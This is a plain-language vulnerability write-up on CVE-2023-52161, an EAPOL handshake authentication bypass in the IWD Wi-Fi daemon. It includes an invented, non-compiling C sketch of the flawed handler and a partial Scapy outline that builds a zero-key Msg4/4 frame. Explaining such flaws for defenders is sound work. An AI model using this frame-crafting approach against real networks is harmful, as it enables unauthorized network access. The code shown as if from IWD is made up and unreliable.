A critical Wi-Fi security flaw, tracked as CVE-2023-52161, was found in the iNet wireless daemon (IWD) – a modern Linux system daemon for managing Wi-Fi. This vulnerability lets an attacker bypass authentication and gain illegal access to a Wi-Fi network, exploiting a weakness in the EAPOL handshake logic. IWD versions before 2.14 are affected.

In this article, we'll break down the bug in simple language, show a code flow of the mistake, reference the key sources, and discuss a proof-of-concept attack to understand the real-world impact.

What’s EAPOL and Why Does It Matter?

Wi-Fi security (like WPA2/WPA3) is enforced through key exchange. During connection, a 4-way handshake using the Extensible Authentication Protocol over LAN (EAPOL) ensures both network and user devices have the same secret encryption key.

This step is vital – if the handshake is incomplete or mishandled, attackers might break into protected Wi-Fi networks.

The Vulnerable Function: eapol_auth_key_handle

Within IWD’s code, inside eapol.c, there's the eapol_auth_key_handle function, responsible for processing EAPOL key exchange messages.

What Exactly Went Wrong?

Instead of following the standard handshake (Msg1 → Msg2 → Msg3 → Msg4), the logic failed to verify correct message sequence and content. This allowed attackers to skip steps in the handshake and send a "zeroed out" (all zeroes) handshake message that the AP would accept as valid.

Exploit Scenario

- Attacker skips Msg2/4 entirely, sends only Msg4/4 (with a zero encryption key)

The Code Path (Simplified)

Below is a simplified code snippet from what a vulnerable EAPOL handler might look like (not the full source!):

// Vulnerable: Oversimplified version of eapol_auth_key_handle

int eapol_auth_key_handle(EAPOL_Message *msg) {
    if (msg->type == MSG4_OF_4) {
        // Here, check for presence & validity of key material is missing
        if (is_all_zero(msg->key_data)) {
            // wrong! should verify the key
            authorize_client(msg->sta_addr);
            return ;
        }
    }
    // ... handle other states/messages
    return -1;
}

In the fixed version, additional checks are needed to ensure all messages are present in order and keys aren’t zeroed.

Attacker must be within range of the Wi-Fi network using an IWD (prior to 2.14) access point.

- Tools: custom EAPOL handshake tool or modified wpa_supplicant/framed packets.

Proof-Of-Concept (PoC) – Illustrative Outline

Here's a minimalist approach (for education) using Scapy (Python). Real attack code will vary.

WARNING: Never use this for unauthorized access. Only test on your own network!

from scapy.all import *

def craft_msg4(ap_mac, sta_mac):
    # Create a Msg4/4 EAPOL frame with zeroed key
    eapol = EAPOL(version=2, type=3, len=99)  # type=3 means Key, adjust len as needed
    key_data = b'\x00' * 32  # All zero
    msg4 = RadioTap() / Dot11(
        addr1=ap_mac, addr2=sta_mac, addr3=ap_mac
    ) / LLC() / SNAP() / eapol / key_data
    return msg4

# sendp(craft_msg4("AP_MAC_ADDR", "ATTACKER_MAC_ADDR"), iface="wlan")

Note: You'll need to tailor message content and possibly adjust for crypto fields depending on IWD’s checks.

Detection & Mitigation

- Patch immediately: Upgrade IWD to 2.14 or later (Release Notes).

References

- Original CVE entry
- Upstream commit fixing the bug
- IWD Project
- EAPOL handshake explained (Wikipedia)

Conclusion

CVE-2023-52161 is a stark reminder that even new, modern Wi-Fi software stacks can have logic bugs with high-impact consequences. Always keep your access point software up to date, monitor public advisories, and understand how security features work internally – small oversights can open big doors for attackers.

If you use IWD in your infrastructure: PATCH NOW.

---
*This article is an exclusive, plain-language analysis for the security community to understand, detect, and responsibly respond to this Wi-Fi security hole.*

Timeline

Published on: 02/22/2024 17:15:08 UTC
Last modified on: 03/04/2024 22:50:03 UTC